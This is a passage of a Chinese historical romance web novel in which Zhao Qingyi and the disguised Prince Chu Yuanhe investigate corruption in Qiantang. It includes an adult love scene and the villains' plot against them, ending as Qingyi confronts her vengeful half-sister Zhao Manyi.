父亲失踪,表哥入狱,还不知赵孟两家会乱成什么样子。 给她透露消息的正是从前与孟家交好的漕帮,这里鱼龙混杂,消息灵通。 赵清仪强打起精神,又追问钦差赵怀义失踪的始末。 得知父亲是在城南土地庙附近遇到埋伏失踪的,赵清仪感激不已,给了对方一锭银子,便迫不及待前往城南。 跟在赵清仪身边的还有两个乔装过的暗卫,在他们的保护下,她找到了城南的土地庙。 不同其他地方,城南汇集了三教九流,是权贵绝不会踏足的地方,行走往来者大多无家可归,衣衫褴褛,沿街乞讨者数不胜数。 难以相信,如此富庶的州县里还藏着这么多暗无天日的贫苦百姓。 赵清仪隐约猜到了父亲为何会在这里失踪,他要重建民生,要推行新政,会涉足此地再正常不过,而这恰恰给了外人下手的机会。 赵清仪一路打听,终于找到了土地庙,那小庙藏在一条狭窄阴暗的胡同里,一进去,她便止不住的心慌。 尽管楚元河安抚她,告诉她有暗卫保护父亲的安全,孟家镖局的人也一直守着父亲,可当赵清仪看到地上残留的深色血迹,眼皮还是忍不住剧烈抖动起来。 她缓缓蹲下身,触摸地上早已干涸的血迹。 这么多的血,可见当日混乱,什么失踪,根本就是有预谋的剿杀! 与此同时,一个蒙着面纱的女子自胡同外经过,刚走出几步,眼尾余光似瞥见一抹极熟悉的身影,女子又缓缓后退,侧目朝胡同深处望去。 赵清仪还蹲在地上,神色怔怔,只露出半张柔和的侧脸。 蒙着面纱的女子却是瞳孔剧震。 是她!真的是她! 赵清仪……赵清仪怎么会在钱塘! 赵漫仪当下的反应便是捂脸跑开,她躲在墙根下,心脏狂跳不止,随行的婢子惊讶不已,连忙关切地问她怎么了。 赵漫仪久久不说话,半晌,她才捂着面纱下的伤疤回过神来。 她已经不是赵漫仪了,不是赵家二房的庶女,她是钱塘江家的女儿,是江家的大小姐。 钱塘是她亲爹的地界,她根本不用怕赵清仪。 意识到这点,赵漫仪紧张乱跳的心脏渐渐平复下来,再抬眸时,眼底只有无尽的恨意。 她准备再探出头去看看赵清仪在做什么,对方的声音先从胡同里飘出来。 “赶紧回去。” 赵清仪语气急促,在暗卫一左一右的护送下快步出了胡同。 赵漫仪慌忙转过身去,对方并未注意到她,快步离开城南,朝城东而去。 看着她渐行渐远的背影,赵漫仪当机立断跟了上去。 赵清仪几乎是踉跄着从土地庙里出来,她要回去将消息告知楚元河才行,便一路提着裙摆小跑。 后头的赵漫仪混在人群里紧追不舍,一直追到了县衙附近才停下。 之所以不再靠近,是因为此刻的县衙,几乎被抄着棍棒的百姓围堵得水泄不通。 其实单看衣着就能发现,他们都是从城南来的贫苦之人,往年赋税他们要向朝廷缴纳实物,今年朝廷推行新政,免去当中诸多繁琐细节,改用折银之法,让百姓按所得土地,缴纳相应数额的银两。 然而对普通百姓而言,白银是稀罕物,尤其在前一两个月,官府与商贾突然大量回收白银,以至于他们手头无银,只能用手里仅有的东西与官府交换,但官府黑心,用多少粮米铜板交换白银根本没个定数,许多百姓掏空家底,依旧换不来等额的白银,如今实物没了,白银还凑不出来,只能变卖土地。 失去了土地,他们来年又吃什么喝什么? 走投无路之下,这群流离失所的百姓聚集起来,举着棍棒向官府讨要说法,场面混乱不堪。 楚元河这才刚到任,便遇上如此棘手的局面。 赵清仪忧心不已,在暗卫的保护下勉强挤进县衙,楚元河正好从里头出来,二人一碰面,眼底皆是担忧。 楚元河递给她一个安抚的眼神,准备出面摆平此事,不料江员外的动作更快,百姓们刚开始叫嚷,江员外就带着一帮家仆前来驱逐。 楚元河暗道不妙。 果然,江员外就是来帮倒忙的,他一现身驱逐,更是激起民愤,不少人纷纷指责他是官商勾结,骂他们是一丘之貉,更有甚者拿出几筐烂菜叶子臭鸡蛋朝县衙丢去。 楚元河护着赵清仪后撤数步,堪堪躲避。 “这可如何是好?”赵清仪都来不及说表哥的事了。 楚元河的神色异常平静,“且让他们闹吧。” 赵清仪颇为意外,让他们闹…… “不闹大了,还真不好料理。”楚元河昳丽的薄唇噙着淡笑。 赵清仪看了看四周,知道现在不是问话的好时机,只能暂且选择相信他。 江员外带着家仆,联合十余名衙役勉强稳住局面,后来直接越过楚元河这个县令,向百姓许诺,“诸位放心,咱们钱塘百姓的苦难,归根究底是因为新政,这新政实乃暴政,元大人皆看在眼里,必定会向朝廷反应此事,大家稍安勿躁,稍安勿躁。” 百姓在乎的哪里是什么新政旧政,他们在乎的是实实在在的好处,但凡日子过得下去,他们也不敢到县衙闹事。 带头的汉子不服,还举着棍棒嚷嚷。 江员外一改先前的和颜悦色,冷着脸呼呵,“诸位,这里可是县衙!是官府!你们再闹下去,惹恼了元大人,可就吃不了兜着走!” 吵嚷的百姓这才安静下来,你看看我,我看看你,都等着谁先带头拿个主意,江员外见他们冷静了,赶紧让家仆给闹事的百姓分些银钱,如此一番恩威并施,百姓们也不再闹了,各自散去。 “元大人,让您受惊了。”江员外含笑上前,借着行礼之际,也往楚元河怀里塞了一叠银票,给他压压惊。 “这钱塘啊,说大不大,说小也不小,乡亲们看在多年交情的份上,还肯卖我江家一个面子,下回大人再遇到此事,尽管来寻江某,毕竟大人初来乍到,人生地不熟,有人互相关照,总是好的。” 江员外一席话别有深意,说罢又朝楚元河拱手,“听说上回献给大人的舞姬跑了,是在下调教不力,改日再给大人送几个。” 楚元河看着怀里的银票,蓦地笑了,将那银票揣入袖中,“如此,就多谢江员外了。” 江员外顿时露出大大的笑脸,“那在下就告辞了。” 目送江员外一行人走后,楚元河才抽出那叠银票,数了数,居然有五百两。 他稍加思忖,便转手给了周县丞。 周县丞惊骇不已,当即打落银票避之如蛇蝎,“君子有所为有所不为,你休想用这黄白之物收买我!” “周县丞,你还看不清局势吗?”楚元河觉得好笑,“今日闹事的百姓,你猜有几成是受江员外撺掇来的?” 周县丞抿唇不语,只警惕地盯着他。 “江员外是在施压,他想告诉本官独木难支的道理,在钱塘,没有他江家,我这个县令屁也不是。”说出这番话时,楚元河依旧在笑。 周县丞觉得他一定是疯了,“那你还笑得出来?” “为何笑不出?” 楚元河耸耸肩,“我与他们同流合污不好么?你看,他手指缝里随便漏一点就是五百两,够你我八辈子吃喝不愁了。” “你——” 周县丞深感羞辱,怒瞪着楚元河满眼失望。 其余衙役见两位长官吵嘴,忙四下散开,生怕听了不该听的话,他们只是衙门最底层的小吏罢了,还想多活几年呢。 最终是周县丞败下阵来,抱着乌纱帽气冲冲走了。 赵清仪回到屋里,不由感慨,“这周县丞瞧着倒是个好官,就是太刚直了些。” “不光刚直,嘴还笨。”楚元河抿了一口茶水,说话毫不客气,若是周珣嘴皮子厉害些,他倒是能考虑将此人提到御史台。 赵清仪见他神色轻松,想来他对方才的局面已有安排,忖了忖,还是将表哥入狱的事说了一遍,“……赵家在此地并无根基,孟家又出了那样的事,你能否设法保全我表哥?” 孟家绝对是被陷害了,既是陷害,就要翻案,可若人没了,如何翻案皆是无用,她得先保住孟嘉文的性命。 楚元河是平西郡王,以他的身份,若肯出面,兴许还有转圜的余地。 “别担心,他们不会轻举妄动。”楚元河比她先一步知晓孟家的案子,已经给按察使司还要锦衣卫去了信,很快就会有结果。 再者,孟嘉文虽是商贾,却是孟家唯一的嫡子,亦是孟家未来的主事,他的命可比一般官员还值钱。 “岐王若想起事,还需大笔银子,留着孟嘉文,才有与孟家谈判的筹码。” 话虽如此,赵清仪还是担心对方狗急跳墙。 楚元河握了握她冰凉的手,“今日出去一趟,累不累?”瞧她鼻尖都沁出了薄汗。 不提赵清仪还没有感觉,经他提醒,才觉得小腿肚子酸疼。 “我查探了父亲失踪的土地庙,那里有打斗痕迹,还有血迹,我一着急就跑着回来……” “坐下我瞧瞧。”楚元河扶她坐到床榻上,俯身褪去她的鞋袜。 赵清仪起初还不好意思,想要推拒。 “和我还要生分不成?”被楚元河一句话堵了回去,她悻悻收回手。 楚元河就坐在脚踏上,将她褪了鞋袜的玉足搁在腿上,一手捉着脚踝,一手掌着她的足底轻轻转动,温热的触感自足心传来,她忍不住蜷起足趾,半是舒坦,半是羞赧。 楚元河垂下眼眸,神情专注,“疼吗?” 赵清仪摇摇头,脸颊莫名有些热,“好多了……” 楚元河的手又顺着她的脚踝往上,嫌那绸裤碍事,索性将裤管卷起,露出一截白皙修长的小腿。 赵清仪的脸更红了。 楚元河依旧是那副认真的样子,粗粝的掌心覆上她的小腿肚,缓缓打圈按揉,动作格外轻柔。 赵清仪总觉得他的动作更像是抚摸,尤其那动作…… 怎么看怎么眼熟,好似也曾落在她别处…… 思绪开始四处乱飞,赵清仪不由放缓了呼吸,气息隐隐有些发颤。 可小腿肚的酸胀感的确缓解不少。 “大腿疼吗?”楚元河忽然又问。 赵清仪没多想,下意识点头,她一个娇生惯养的世家小姐,平日出行不时马车就是轿子,极少跑跑跳跳,可方才她却从城南跑到城东,把她累得够呛,两条腿无一处不疼。 楚元河盯着她微红的小脸,眸色渐渐黑沉。 她心真大。 待裤管卷上膝头,一股凉意钻了进来,赵清仪才蓦然惊醒,忙拽下裙摆遮掩,“不、不用了……” “别动。” 楚元河按住她曲起的膝头,将她的腿重新放平,“这里没有外人,害什么羞?” “真不用……”赵清仪脸皮薄,此刻已是涨红了脸,小声道,“我、我今日出了汗,尚未沐浴……” 她能感觉出对方的亲昵之意,也不是真的想拒绝他。 “你若想要,等我沐浴完了再、再……”兄妹什么的,她也演不下去了。 在楚元河逐渐灼热的视线里,她声音越来越弱,羞耻至极。 不等她说完,楚元河霍然起身,将她压倒在榻上。 第73章 第73章“口脂花了,我给你擦擦…… 她欲挣扎,对方却只是埋在她颈窝处轻叹,“般般,对不起……” 赵清仪不明所以,好端端的,为何又道歉。 “不会太久的。” 楚元河柔声安抚,微微抬起脸,看着她鲜红欲滴的粉颊,便知她想岔了,促狭笑道,“……我是说,离你见到你父亲,不会太久。” 赵清仪恍然,不禁为自己的遐想感到羞臊,推开他,刚起身又再次被他揽入怀中。 楚元河从后将她按在自己腿上,炽热的吻已然落下。 脖颈又痒又麻,赵清仪浑身一颤,低低哀求,“先让我沐浴……” “不碍事。”男人嗓音囫囵,抚着她脸颊的指腹划入衣襟,俊挺的鼻梁抵入她颈间,嗅着她肌肤里沁出的幽香,“前后叫两回水,太可疑了,你不怕羞吗?” 赵清仪一想也是,这里不比她的宅子,到处都是别有用心之人,她沐浴叫一回水,事后又叫一回,是生怕外人不知她与楚元河在屋里做了什么吗? 都怪楚元河,非要临时改口,扮什么兄妹。 可是…… 她终究是脸皮薄,“我嫌身上脏……” “不脏的。”他只会觉得,是他弄脏了她。 楚元河索性吻上她的唇,缓缓将她放倒在褥子上,“我会小心些,一会儿若是不慎脏了般般,还请般般宽恕……” 这是他思量许久得到的两全之法,过门不入,应当不会有孕,也就没有服避子汤的必要了。 赵清仪又被他含住了唇舌,无力回应。 昏暗的帐幔里,是彼此交缠的亲吻声。 顾及她身骨娇弱乏累,他极尽温柔,掐着腰肢,顺着边缘,缓慢而坚定地攀上雪岭。 张开的五指攥着一点点合拢,竟也只是堪堪掌控。 男人的呼吸越发粗粝。 室内只亮着一盏灯,微弱的光尽数被他健硕高大的身躯遮挡。 赵清仪眼前模糊一片,越是看不清,余下的感官便越是强烈。 他与先前按揉腿肚的力道无甚区别,只是多了丝黏腻的灼热,始终留恋不去。 极好的耐心也变得有限,她已经数不清在他手里毁了多少件小衣。 这次再无阻隔,覆下与她紧紧相贴,软腻香滑,薄唇情不自禁地沿着雪色蜿蜒。 赵清仪没忍住,杏眸微阖,溢出几声舒坦的叹吟。 楚元河习惯留意她的神色,循着她的反应或轻或重,今日,她格外情动,他亦臣服于她裙衫之下。 转移阵地,修长的指节浅浅试探一番,果然不出所料。 他咬上她莹润小巧的耳垂轻笑,“……何时开始的?” 如此身体力行的热情,他很难不爱。 “别问了……”赵清仪红着脸,细嫩如葱的小手也泛起薄红,正攥着他的臂膀,躬身向他怀里迎合。 男人却不依不饶地追问,“从我吻你开始?还是……” 赵清仪羞于听下去,仰面堵住他的唇,何时情动已经不重要了。 他就在那儿,任她的唇予取予求,指尖仍是慢条斯理的。 风云搅弄,宛若布了一场春雨,淅淅沥沥。 男人喉结滚动,竭力忍耐着,仅仅是驰骋城门,任那春雨而下,勉强疏解疼痛。 她也不好受,仿若悬在半空,不上不下的,不明白他怎么会想出这种让人上瘾,又倍感折磨的法子。 楚元河试了几回,觉得不甚得力,又换了方式抱她下榻,相对而立。 不懂什么章法,胜在足够气势汹汹,穿梭其间,饶是不越雷池,依旧能叫她品出几分滋味。 赵清仪膝弯悬在他臂膀间,又随时有顶落的危险,只能抱住他的脖颈勉力招架,却依旧晃来晃去,折磨得几乎翻倒后仰。 楚元河追上去埋首春峦,纠缠得愈发恣意。 直到她抽搐般的轻踢双足,脑海中那根越来越紧的弦猝然绷断,泪水泉涌而出。 她再压抑不住啜泣出声,后背抵靠的床榻也快扛不住,不停地咯吱作响,混着哭吟此起彼伏。 楚元河叹息着,昏暗中似乎只剩残影,登顶的刹那浑身紧绷,压抑潜藏的情愫汹涌澎湃,轰然而出。 他停住许久,缓缓离开,吻了吻她精巧秀气的下巴,声音嘶哑透着一丝餍足,“我去叫水。” 赵清仪被他重新放回榻上,宛如涸辙之鱼,轻轻喘息了片刻,才慢慢垂下湿润的眼睫,腰腹处已是一片狼藉。 后院几乎没什么人,可先前的动静不小,楚元河整理好衣衫出去时,已经有路过的粗使婆子朝他频频递去怪异的眼神。 她们是平日在后院烧火做饭的婆子,这会儿在准备晚膳呢,没成想竟听到了奇怪动静,都是过来人,自然猜到屋里发生了什么。 可……可先前进屋的不是元大人的妹妹吗? 婆子们不敢深想,只是看向楚元河的目光里多了一丝鄙夷,真是个人面兽心的东西,瞧着好好的年轻郎君,怎么就和妹妹…… 哎! 难怪能和江员外那些豺狼沆瀣一气。 楚元河脸皮厚,面色如常地吩咐婆子烧水,横竖都叫人发觉了,也没什么好藏着掖着的,当晚二人歇在一间屋里。 待赵清仪知晓“奸.情”败露时,羞得无地自容,先前她还为了藏着秘密向楚元河妥协,结果他倒好…… “怕什么?” 楚元河语气轻快,将她抱在怀里,黏黏糊糊地挤在同一床被褥里,压低声道,“我们这叫夫妻情.趣,闺房之乐。” “谁家乐趣是哥哥妹妹厮混一处的?” 赵清仪扭头瞪他,“你最好快想想如何解释,不然我……我都快不敢见人了……” “那就说我们是夫妻,此前不过是吵嘴了,夫妻吵嘴也挺正常。”楚元河大掌又开始不安分的作乱,又嘀咕了一句,“先前你若是小声些,兴许还能瞒住……” 这也怪她? 赵清仪抬脚欲踹,对方眼疾手快按住她,两人又在被子底下厮混打闹。 — 不同与此间的浓情蜜意,江家却是乱成一团,赵漫仪着急忙慌地找到自己亲爹,向江员外袒露赵清仪的身份。 “那个什么大人的妹妹,她是假的!她根本就没有兄长,她是赵家的嫡长女!” 江员外愕然,忙追问怎么回事,赵漫仪便哭着将自己与赵家,与赵清仪的恩怨纠葛添油加醋讲述一番。 自她来到钱塘投奔亲爹,过往许多事她未曾坦白,毕竟眼前之人是她唯一能抓住的救命稻草,对方因多年无所出,才对她这个亲女儿生出怜惜,若知晓了她的过往,赵漫仪担心自己会遭亲爹嫌弃。 但今日见了赵清仪,她真的忍不了了。 她苦苦哀求,“爹,是她害了女儿一生,求爹为女儿报仇!” 江员外震撼过后,语气带着一丝不确定地问,“你确定……你看到的,当真是你从前的长姐?” “她将我迫害至此,我做鬼都不会忘记她那张脸!” 见女儿信誓旦旦,赌咒发誓,江员外动摇了。 倘若真如女儿所言,元姑娘不是真的元姑娘,那这元大人……又会是谁? 想到这新到任的县令或许是在扮猪吃虎,还险些将自己蒙骗过去,江员外便觉脚底生寒,赶紧扶起跪在地上哭泣的女儿,“好女儿,这回多亏有你,不然为父还要被这对男女蒙在鼓里!” 他必须即刻将消息送到岐王府,末了,又哄着赵漫仪,“好女儿,你明日再寻个机会,看那县令是何身份,是否是你在京中见过的熟面孔。” 今日县衙外围堵的百姓太多,赵漫仪并未看到楚元河,听了父亲的话,她含泪点头,旋即她又想起什么,抓着江员外的胳膊,“爹,赵清仪那个女人向来谨慎,能与她同行的男人,必然是她的相好……” 她怀疑是不是李衡,此前她真真切切在揽月阁瞧见了男人的身影,若不是李衡,又会是谁? 听她如此说,江员外觉得兴许赵漫仪真的见过,索性唤来画师,根据他的描述绘出楚元河的画像,让赵漫仪辨认。 看清画师笔下的那张脸,赵漫仪的神情从疑惑渐渐转为震惊,居然不是李衡。 “这、这像是……平西郡王?!” 见过的次数虽不多,但她对此人的印象太过深刻,当初在清韵茶楼,她与李彻的好事被人撞破,就是此人出来为赵清仪作证,害得她最终不得不嫁给李彻做妾。 居然是他…… 赵清仪和平西郡王,居然这么早就勾结在一起了? 那之前她在揽月阁看到的人影,也不是她的幻觉。 赵漫仪仔细回忆从前的桩桩件件,难怪疑心赵清仪与李衡有染时,对方每回都如此镇定,原来并非赵清仪如何冰清玉洁,而是她从一开始就想错了人! 那个人……是平西郡王! 可是凭什么?赵清仪就是个破鞋!是李彻不要的破鞋!她怎么还能和平西郡王搅和在一起? 平西郡王是瞎了吗?他怎么会看上赵清仪呢?! 若是将来赵清仪做了郡王妃,哪里还有她的翻身之地,她还怎么报仇? 赵漫仪用力握紧拳头,猩红的眼眸迸发着刻骨的恨意。 江员外并未错过赵漫仪的每一个神情变化,心中逐渐笃定她说的都是真的。 平西郡王,小皇帝的堂兄弟,那的确是个值得信任的身份,难怪陛下会派此人伪装成县令潜入钱塘,是想利用此人打探虚实吗? 幸好他们发现得早,否则后果不堪设想。 想到之前的拉拢之举,江员外便觉可笑,这平西郡王藏得够深啊。 “漫儿放心,她们既到了钱塘地界,便无全身而退的可能。” 江员外拍拍女儿的肩头,“爹一定会为你……为骏哥儿报仇雪恨。”再抬头,眼底已布满杀意。 平西郡王必须死,至于赵清仪,她害苦了自己的亲女儿,不能让她死得太痛快。 可究竟要如何折辱对方,才能让女儿解气? “岐王……爹,咱们把赵清仪送给岐王吧!” 赵漫仪连忙止住泪水,面纱之下,带着伤疤的脸狰狞无比,“岐王不是爱美人么?赵清仪还算有几分姿色,若是献给岐王,岐王高兴了,还会记爹爹一功。” 从前赵漫仪并不了解岐王,但自从她来了钱塘,跟在亲爹身边,倒是对这岐王有所了解,他原先有一个王妃,后来说是病死了,但他们这些岐王门客却很清楚,岐王妃是死在了床榻之上。 岐王看似风度翩翩,人模狗样,却喜好搜罗美人,床榻之上极尽折磨,死在他手里女人多不胜数,而这些女人却连个妾室的名分都没有。 赵清仪当初害她做了李彻的贱妾,如今,她就要把赵清仪献给岐王,去了岐王府,连个贱妾都不是,那就是一个令人不齿的玩物罢了! 江员外不由想起宴席当日,曾有人提议把赵清仪献给岐王,倒不失为一个折辱人的好法子。 翌日,江家的帖子送到县衙,但帖子里只邀了楚元河与赵清仪,未提及旁人。 楚元河略一思忖,给周县丞留了一封书信,昨日他把周县丞气得不轻,今日人就称病没来上衙。 赵清仪好奇,“这是什么?” “交代一些差事。”楚元河简单揭过,之后便带着赵清仪出门,不过这次,他是搂着她的腰肢现于人前。 来接人的依旧是两辆马车,看到他二人如此情态,所有人皆是一愣。 “夫人,上车吧。”一句话,彻底坐实众人猜测。 上了马车,赵清仪的脸还有些红,“你这也太草率了……” “都暴露了,也没有装的必要吧?”楚元河的话里别有深意。 赵清仪立时正襟危坐,楚元河笑着将帖子递给她,“今日是认亲宴,你猜猜,江员外要认的是什么亲?” 赵清仪茫然接过帖子,上面只说是找到了失踪多年的亲女儿,关于这女儿是何来历却未提及。 “早在来钱塘的第一日,我便派人调查过,这江员外说来,还与你二叔的姨娘有些渊源。” 赵清仪这才恍然,顿觉一道晴天霹雳,二叔这是……真被绿了?还替人养了十多年的女儿? 不过方姨娘都死了,赵漫仪也被送走了,家里是否知道真相也不重要,重要的是她眼下的处境。 若赵漫仪真的在江家,那一会儿姐妹相见,被认出来是必然的,楚元河的身份自然也兜不住。 赵清仪隐隐担忧,“现在翻脸会不会太快了?就凭我们两个,能全身而退吗?” 楚元河无所谓的耸耸肩,“不知道。”这得看周珣办事利不利索了。 赵清仪一口气差点哽在喉咙里上不来,若非看他老神在在的样子,她真想此刻跳车临阵脱逃,这里不是上京,孤立无援的情况下,没有十足把握她不想冒险。 楚元河忍不住笑起来,在她唇上轻啄一下,“要不……我们今朝有酒今朝醉?” 环着她的大手又开始蠢蠢欲动。 赵清仪反驳的话没来得及说出口,尽数化作细碎的嘤咛。 他噙着她的唇,将她按在车壁上。 赵清仪紧张悬起的心又落地了,他能有心思胡闹,就说明问题不大,只是她原想着,这是在马车上,又即将去往江家,楚元河多少能收敛些。 可亲着亲着,她衣衫底下撑起了鼓包,还在不紧不慢地四处游移…… 她换气的间隙警告他,“……过分了。” 楚元河这才停在那山峰处,揉着叹气道,“万一前路是龙潭虎穴,这便是你我最后的温存了……” 得了便宜还卖乖。 赵清仪红着脸“呸”了声。 他又笑嘻嘻起来,舔了舔她的唇角,在她杏眸含怒扫过来的瞬间辩解道,“你口脂花了,我给你擦擦。” “……” 第74章 第74章杀人诛心。 马车抵达江家的庄子时,赵漫仪就躲在暗处,亲眼看着楚元河先下马车,随后是一袭华服,端庄明丽的赵清仪,二人举止亲昵,显然关系匪浅。 她隐在暗处,险些掐烂了掌心。 旁边的江员外向赵漫仪再三确认身份,随后让婢子送她先去厢房歇息。 待楚元河察觉有人盯着自己时,他凌厉的视线扫过去,江员外已经笑吟吟地从那个方向走来,拱手作揖,客套寒暄。 今日可是他特意为他二人设下的鸿门宴,定要他们有来无回。 楚元河的视线在她脸上多停留了片刻,没错过那转瞬即逝的杀意,随意勾了勾唇角,“来过一次了,路我熟,江员外不必亲自领路了。” 江员外愣了愣,还没反应过来这话是什么意思,就听门外闹哄哄一片,七嘴八舌的恭贺声纷至沓来。 “恭喜江员外寻回爱女,恭喜恭喜!” 先进来的是杭州知府,姓杜,随后又有十几个大大小小的地方官,均是面上和气,一副与江员外交好的样子。 此前他们皆是江员外私下拉拢的对象,或多或少从江家这里得过好处,今日受邀,便如猎犬闻了肉香不请自来。 江员外脸色僵硬一瞬,他根本没有给其他官员下帖,这又是怎么回事? 不过来都来了,拒之门外无疑会得罪他们,便只好低声下气的赔笑,“诸位大人快快请进。” 看着鱼贯而入的大小官员,他脸色越发难看,除却最初拉拢时,他给这些人孝敬了不少银子,后来他只有求人办事时才会将人请来。 这次也不知哪里出了差错,居然一窝蜂涌来了,他江家不破点财还真不好打发这帮人。 最要紧的还是麻烦,他今日的设宴就是为了拿下平西郡王与赵清仪,这些无关紧要的人来了反而害他束手束脚。 “去通知前院,计划有变。” 宴厅里,诸位大人互相见礼,楚元河的县令身份在这堆人里根本不够看,座位便设在角落的位置,还是江员外进来后活络了气氛,才算彼此认识,当下就有人主动向楚元河敬酒。 赵清仪提醒他小心应对,便开始暗暗观察四周,试图寻找赵漫仪的踪迹。 宴席在推杯换盏中渐入佳境,江员外为稳住局面,拿出不少压箱底的宝贝,借着赏玩之名一一送出去,还不忘拉着楚元河叙话吃酒。 楚元河晓得外人在场,江员外不好下手,便主动递了时机,扶着额角佯醉,询问可有厢房供他歇息。 江员外一听喜不自胜,他正愁着大庭广众不好动手,真是瞌睡遇上枕头了,忙吩咐美婢上前搀扶。 赵清仪抢先一步,掺着楚元河的胳膊。 看他酡红的面颊,她都拿捏不准他究竟是真醉还是装醉。 楚元河酒量还不错的,她还没见过他吃醉的样子,莫非今日的酒里下了东西? 上回为维护自己,他暴露了会武的事实,倘若江员外真的要帮女儿复仇,定会第一个拿下*楚元河,下药无疑是最直接有效的。 思及此,赵清仪心中警铃大作,赶紧搀着楚元河出去,步入廊下,她便开始摇晃他的胳膊,“你醒醒……” “夫君?醒醒……” 唤了两声,楚元河都是那副醉醺醺的模样,大半重量压在她肩头,口中只剩几个不成音调的呓语。 赵清仪心急如焚,瞅了眼后方,两个美婢正不远不近的跟着,逃又逃不掉,她索性咬紧牙关,在楚元河腰侧掐了一把。 楚元河倒吸一口凉气,却依旧醉得不省人事。 赵清仪更急了,不会真被下药了吧? 后头的美婢大抵也观察出了端倪,当即越过她二人走在前头,推开一间厢房的门。 “元大人先在此歇歇脚,奴婢去给大人准备醒酒汤。”一个美婢退下,另一人便守在门口。 赵清仪绞尽脑汁在想该如何脱身,楚元河已经不省人事了,光凭她自己,恐怕很难逃出这座庄子。 便在此时,门口的婢子屈身行礼,“小姐。” 话音刚落,一个身着水红长裙,面戴薄纱的女子袅袅婷婷而来,身后还跟了一大帮奴婢以及护院。 果然来了。 赵清仪扶着楚元河坐好,抬眸直视门口的方向。 “大姐姐,别来无恙啊。”女子娇笑着,缓缓摘下面纱,露出一张精致姣好的面容。 熟悉的五官,唯左边脸颊有一道刺目的伤疤,自眼尾划至嘴角,如同狰狞的蜈蚣横亘在她白皙的肌肤上。 认出的她的那一刻,赵清仪心里反而镇定不少。 “我都变成这样了,大姐姐还能认得我。”赵漫仪抚着脸颊上的伤疤,眉眼里尽是刻骨的恨意,“也对,是你亲手毁了我,你当然不会轻易忘了……” “你那叫自作孽,与旁人无关。”赵清仪神色淡淡,不动声色撇了眼她身后的人。 “方姨娘还挺不容易,你都沦落到那种境地了,她还能想方设法把你送到你这便宜爹手里,真是可怜天下父母心啊……” “你住口!” 赵漫仪抚着脸颊的细指猛地蜷起,冷笑道,“我今日来,就是给你最后一个机会,告诉我,骏哥儿在哪儿?只要你把骏哥儿还给我,我还能你送一场荣华富贵。” 自从在李家柴房那次,她被赵清仪灌了毒酒,已经没几年可活了,骏哥儿是她唯一割舍不下的心结。 “哦?” 赵清仪好奇挑眉,“什么荣华富贵,你自己不要,让给我?” 赵漫仪笑得恶劣,“当初你送我做妾,今日,我送你进岐王府如何?”说罢咯咯咯地笑起来,身后的仆婢护院立时涌进厢房,将赵清仪围困其中。 听到“岐王”二字,赵清仪就觉恶心,估摸着她和楚元河的身份,岐王那边已经知晓了。 她下意识看向楚元河,对方还倒在罗汉榻上呼呼大睡。 “别看了,他救不了你。”赵漫仪仿若洞穿了她的心思,一脸得意,“你们的身份是我识破的,我爹自然会对你二人有所提防,如今,他是醒不过来的。” “真是没想到,我那看似冰清玉洁的大姐姐,居然背地里攀上了平西郡王。”赵漫仪咬牙切齿,有大仇即将得报的痛快,亦有连绵不绝的憎恨。 “不过平西郡王是不能活着离开了,至于你。看在你我曾姐妹一场的份上,我便送你进王府,让你再攀高枝,回头,可别忘了谢我……” 谋害皇室宗亲固然是诛九族的大罪,可这里天高皇帝远,纵然郡王遇害的消息传回上京又能如何,查起来,一切自有城南闹事的百姓顶罪。 这帮愚民都敢抄家伙武到县衙门口,在不知郡王身份的情况下,失手将人打杀也在所难免。 眼看那帮护院要动手抓人,赵清仪蓦然发笑。 她一笑,赵漫仪便笑不出来了,恶狠狠地瞪着她,“贱人,死到临头了,你笑什么!” “我是笑三妹妹你好福气啊。”赵清仪环视一圈,笑颜如花,“看你如今仆婢成群,可比当李彻的贱妾还要风光,相信方姨娘在天之灵,也能瞑目了。” 赵漫仪顿时如遭雷击,身形晃了晃,“你、你说什么?” “三妹妹不知道?方姨娘啊……她死了。” “不可能!” 赵漫仪一个箭步冲上来,就要掐赵清仪的脖子。 赵清仪早有提防,灵巧躲开,让她扑了个空,“方才我还说可怜天下父母心,方姨娘为了你,为了你的前程,可是豁出了性命,我还以为你知道呢,原来三妹妹只顾做自己的江家小姐,把你的姨娘忘了,真是可怜……” 赵漫仪从来都很信任自己的母亲,她有那么多手段,又是二房最受宠的妾室,连二夫人都比不上,怎么可能轻易死了。 “是你……是你害死了我姨娘?是不是你!” 自从经历了诸多变故,赵漫仪的性情是越发癫狂,她摇晃着赵清仪的肩头索要答案,“你告诉我,我姨娘到底怎么了!你说啊!” 赵清仪抿唇,嘴角的弧度渐渐上扬,嗓音轻若鬼魅,“她为了你的骏哥儿,为了你,被她侍奉多年的丈夫,亲手掐死了。” 赵漫仪瞳孔剧烈震颤,攫着她肩头的手愈发用力。 “不可能……不可能……我姨娘不会死!” 赵清仪瞥了眼肩头的手微微皱眉,一把甩开她,同时往院门口的方向看了一眼。 楚元河不省人事,她只能盼周县丞动作快些,眼下得拖住赵漫仪再说。 而赵漫仪听到方姨娘的消息,一个踉跄跌倒在地,泪水如断了线的珍珠滑落。 半晌,她又爬起来,“……那我的骏哥儿呢?我的骏哥儿呢!” 姨娘没了,她的骏哥儿可不能再出任何意外,她还盼着她的骏哥儿功成名就呢! “骏哥儿在公堂之上指认李彻,承认他就是你与李彻所生的奸生子,他才五岁,名声被你们这做父母的,毁得一干二净了。” “赵漫仪,你高兴吗?” “你身边最亲近的人,最重要的人,都因为你,死的死,毁得毁,你满意了吗?” “赵漫仪,如果你早早死了,少折腾,或许你的姨娘不会死,你的骏哥儿也能好好做他的李家二少爷……” “若是有朝一日,骏哥儿知道你抛弃他跑来钱塘享福,却留他独自一人吃尽苦头,饥一顿,饱一顿,还要忍受外人的指指点点,一辈子抬不起头,活得连条丧家犬都不如,你猜……他还会不会认这个亲娘?” “这一切都是因为你啊赵漫仪,你怎么还有脸面躲在钱塘苟活至今?” 赵清仪步步紧逼,眼睁睁看面前的女人一点点崩溃。 “啊——你别说了!你别说了!” 赵漫仪再也承受不住,捂着双耳崩溃尖叫,狰狞的眼角几乎要泣出血珠子来。 第75章 第75章“放松,别那么紧…张……… “我没有……我不是!” “他们都是被你害死的,是你!你才是罪魁祸首!” 赵漫仪怒声斥骂,脸上却已布满泪痕。 躲在钱塘这么久,她根本不敢去想姨娘的处境,也不敢去想骏哥儿,只要不想,不问,就还有希望。 可赵清仪却连这最后的希望都不肯留给她,硬生生将幻想撕开,让她看到血淋淋的现实。 赵清仪步步逼近,抓住她肩膀,强迫她听进去,“你不是想要骏哥儿吗?你想知道他如今过的是什么日子吗?” “不……”赵漫仪头疼无比,抱头痛哭,她不想知道了,她不想听。 